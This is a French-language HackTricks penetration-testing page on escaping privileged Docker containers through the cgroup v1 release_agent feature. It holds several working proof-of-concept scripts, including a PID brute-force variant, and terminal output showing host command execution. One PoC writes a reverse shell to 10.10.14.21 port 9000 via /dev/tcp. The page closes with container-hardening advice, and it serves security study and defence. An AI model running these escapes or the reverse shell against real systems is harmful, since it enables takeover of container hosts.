hacktricks/linux-unix/privilege-escalation/escaping-from-a-docker-container.md

<details>

<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>


# Drapeau `--privileged`

{% code title="Initial PoC" %}
```bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
{% endcode %}

{% code title="Deuxième PoC" %}
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.21/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
```
```markdown
{% endcode %}

Le drapeau `--privileged` introduit des préoccupations de sécurité significatives, et l'exploit repose sur le lancement d'un conteneur docker avec celui-ci activé. Lorsque ce drapeau est utilisé, les conteneurs ont un accès complet à tous les périphériques et ne sont pas soumis aux restrictions de seccomp, AppArmor et des capacités Linux.

En fait, `--privileged` fournit bien plus de permissions que nécessaire pour s'échapper d'un conteneur docker via cette méthode. En réalité, les "seules" exigences sont :

1. Nous devons être exécuté en tant que root à l'intérieur du conteneur
2. Le conteneur doit être lancé avec la capacité Linux `SYS_ADMIN`
3. Le conteneur ne doit pas avoir de profil AppArmor, ou doit permettre l'appel système `mount`
4. Le système de fichiers virtuel cgroup v1 doit être monté en lecture-écriture à l'intérieur du conteneur

La capacité `SYS_ADMIN` permet à un conteneur d'effectuer l'appel système mount \(voir [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker lance les conteneurs avec un ensemble restreint de capacités](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) par défaut et n'active pas la capacité `SYS_ADMIN` en raison des risques de sécurité que cela implique.

De plus, Docker [lance les conteneurs avec la politique AppArmor `docker-default`](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) par défaut, qui [empêche l'utilisation de l'appel système mount](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) même lorsque le conteneur est exécuté avec `SYS_ADMIN`.

Un conteneur serait vulnérable à cette technique s'il était lancé avec les drapeaux : `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`

## Décortiquer la preuve de concept

Maintenant que nous comprenons les exigences pour utiliser cette technique et avons affiné l'exploit de preuve de concept, parcourons-le ligne par ligne pour démontrer son fonctionnement.

Pour déclencher cet exploit, nous avons besoin d'un cgroup où nous pouvons créer un fichier `release_agent` et déclencher l'invocation de `release_agent` en tuant tous les processus dans le cgroup. La manière la plus simple d'y parvenir est de monter un contrôleur cgroup et de créer un cgroup enfant.

Pour ce faire, nous créons un répertoire `/tmp/cgrp`, montons le contrôleur cgroup [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) et créons un cgroup enfant \(nommé “x” aux fins de cet exemple\). Bien que tous les contrôleurs cgroup n'aient pas été testés, cette technique devrait fonctionner avec la majorité d'entre eux.

Si vous suivez et obtenez "mount: /tmp/cgrp: special device cgroup does not exist", c'est parce que votre configuration n'a pas le contrôleur cgroup RDMA. Changez `rdma` en `memory` pour corriger cela. Nous utilisons RDMA parce que le PoC original a été conçu pour fonctionner uniquement avec celui-ci.

Notez que les contrôleurs cgroup sont des ressources globales qui peuvent être montées plusieurs fois avec différentes permissions et les modifications apportées dans un montage s'appliqueront à un autre.

Nous pouvons voir la création du cgroup enfant “x” et la liste de son répertoire ci-dessous.
```
```text
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks
```
Ensuite, nous activons les notifications cgroup lors de la libération du cgroup "x" en écrivant un 1 dans son fichier `notify_on_release`. Nous définissons également l'agent de libération cgroup RDMA pour exécuter un script `/cmd` — que nous créerons plus tard dans le conteneur — en écrivant le chemin du script `/cmd` sur l'hôte dans le fichier `release_agent`. Pour ce faire, nous récupérons le chemin du conteneur sur l'hôte à partir du fichier `/etc/mtab`.

Les fichiers que nous ajoutons ou modifions dans le conteneur sont présents sur l'hôte, et il est possible de les modifier des deux mondes : le chemin dans le conteneur et leur chemin sur l'hôte.

Ces opérations peuvent être vues ci-dessous :
```text
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
Notez le chemin vers le script `/cmd`, que nous allons créer sur l'hôte :
```text
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
```
```markdown
Maintenant, nous créons le script `/cmd` de sorte qu'il exécutera la commande `ps aux` et enregistrera sa sortie dans `/output` sur le conteneur en spécifiant le chemin complet du fichier de sortie sur l'hôte. À la fin, nous imprimons également le script `/cmd` pour voir son contenu :
```
```text
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
```
```markdown
Enfin, nous pouvons exécuter l'attaque en lançant un processus qui se termine immédiatement à l'intérieur du cgroup enfant « x ». En créant un processus `/bin/sh` et en écrivant son PID dans le fichier `cgroup.procs` du répertoire cgroup enfant « x », le script sur l'hôte s'exécutera après la sortie de `/bin/sh`. La sortie de `ps aux` effectuée sur l'hôte est ensuite enregistrée dans le fichier `/output` à l'intérieur du conteneur :
```
```text
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]
```
# Drapeau `--privileged` v2

Les preuves de concept précédentes fonctionnent bien lorsque le conteneur est configuré avec un pilote de stockage qui expose le chemin complet du point de montage de l'hôte, par exemple `overlayfs`, cependant, j'ai récemment rencontré quelques configurations qui ne divulguent pas clairement le point de montage du système de fichiers de l'hôte.

## Kata Containers
```text
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
```
[Kata Containers](https://katacontainers.io/) monte par défaut le système de fichiers racine d'un conteneur via `9pfs`. Cela ne révèle aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers.

\* Plus d'informations sur Kata Containers dans un futur article de blog.

## Device Mapper
```text
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
```
J'ai vu un conteneur avec ce montage racine dans un environnement en direct, je crois que le conteneur fonctionnait avec une configuration spécifique du pilote de stockage `devicemapper`, mais à ce stade, je n'ai pas pu reproduire ce comportement dans un environnement de test.

## Une Alternative de PoC

Évidemment, dans ces cas, il n'y a pas assez d'informations pour identifier le chemin des fichiers du conteneur sur le système de fichiers de l'hôte, donc le PoC de Felix ne peut pas être utilisé tel quel. Cependant, nous pouvons toujours exécuter cette attaque avec un peu d'ingéniosité.

La seule information clé requise est le chemin complet, relatif à l'hôte du conteneur, d'un fichier à exécuter à l'intérieur du conteneur. Sans pouvoir discerner cela à partir des points de montage à l'intérieur du conteneur, nous devons chercher ailleurs.

### Proc à la Rescousse <a id="proc-to-the-rescue"></a>

Le pseudo-système de fichiers Linux `/proc` expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux qui s'exécutent dans différents espaces de noms, par exemple à l'intérieur d'un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte :Conteneur
```bash
root@container:~$ sleep 100
```

```bash
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...
```
_En aparté, la structure de données `/proc/<pid>/root` est quelque chose qui m'a longtemps confondu, je ne pouvais jamais comprendre pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel :_

> /proc/\[pid\]/root
>
> UNIX et Linux prennent en charge l'idée d'une racine du système de fichiers par processus, définie par l'appel système chroot\(2\). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus et se comporte de la même manière que exe et fd/\*.
>
> Notez cependant que ce fichier n'est pas simplement un lien symbolique. Il fournit la même vue du système de fichiers \(y compris les espaces de noms et l'ensemble des montages par processus\) que le processus lui-même.

Le lien symbolique `/proc/<pid>/root` peut être utilisé comme un chemin relatif à l'hôte pour accéder à n'importe quel fichier à l'intérieur d'un conteneur :Conteneur
```bash
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```

```bash
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
```
Cela change la condition requise pour l'attaque, qui passe de la connaissance du chemin complet, relatif à l'hôte du conteneur, d'un fichier à l'intérieur du conteneur, à la connaissance du pid de _n'importe quel_ processus s'exécutant dans le conteneur.

### Pid Bashing <a id="pid-bashing"></a>

C'est en fait la partie facile, les identifiants de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` se voit attribuer l'identifiant de processus `1` et tous les processus suivants se voient attribuer des identifiants incrémentiels. Pour identifier l'identifiant de processus hôte d'un processus à l'intérieur d'un conteneur, une recherche incrémentale par force brute peut être utilisée :Conteneur
```text
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```
Hôte
```bash
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
```
### Mise en Pratique <a id="putting-it-all-together"></a>

Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour deviner le pid pour le chemin `/proc/<pid>/root/payload.sh`, chaque itération écrivant le chemin du pid deviné dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`, et vérifiant si un fichier de sortie est créé.

La seule mise en garde avec cette technique est qu'elle n'est en aucun cas subtile, et peut augmenter considérablement le nombre de pid. Comme aucun processus de longue durée n'est maintenu actif, cela _devrait_ ne pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus.

Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle initialement présentée dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité `release_agent` des cgroups :
```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à :
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...
```
# Utilisez les conteneurs en toute sécurité

Docker restreint et limite les conteneurs par défaut. Assouplir ces restrictions peut créer des problèmes de sécurité, même sans la puissance complète du drapeau `--privileged`. Il est important de reconnaître l'impact de chaque permission supplémentaire et de limiter les permissions globales au strict nécessaire.

Pour maintenir la sécurité des conteneurs :

* N'utilisez pas le drapeau `--privileged` ou ne montez pas un [socket Docker à l'intérieur du conteneur](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Le socket Docker permet de générer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`.
* Ne pas exécuter en tant que root à l'intérieur du conteneur. Utilisez un [autre utilisateur](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) ou [espaces de noms utilisateur](https://docs.docker.com/engine/security/userns-remap/). Le root dans le conteneur est le même que sur l'hôte à moins d'être remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
* [Supprimez toutes les capacités](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) et activez uniquement celles qui sont requises (`--cap-add=...`). De nombreuses charges de travail n'ont besoin d'aucune capacité et en ajouter augmente la portée d'une attaque potentielle.
* [Utilisez l'option de sécurité "no-new-privileges"](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus d'acquérir plus de privilèges, par exemple via des binaires suid.
* [Limitez les ressources disponibles pour le conteneur](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Les limites de ressources peuvent protéger la machine contre les attaques par déni de service.
* Ajustez les profils [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (ou SELinux) pour restreindre les actions et appels système disponibles pour le conteneur au strict nécessaire.
* Utilisez des [images docker officielles](https://docs.docker.com/docker-hub/official_images/) ou construisez les vôtres en vous basant sur elles. N'héritez pas ou n'utilisez pas d'images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/).
* Reconstruisez régulièrement vos images pour appliquer les correctifs de sécurité. Cela va de soi.

# Références

* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)



<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>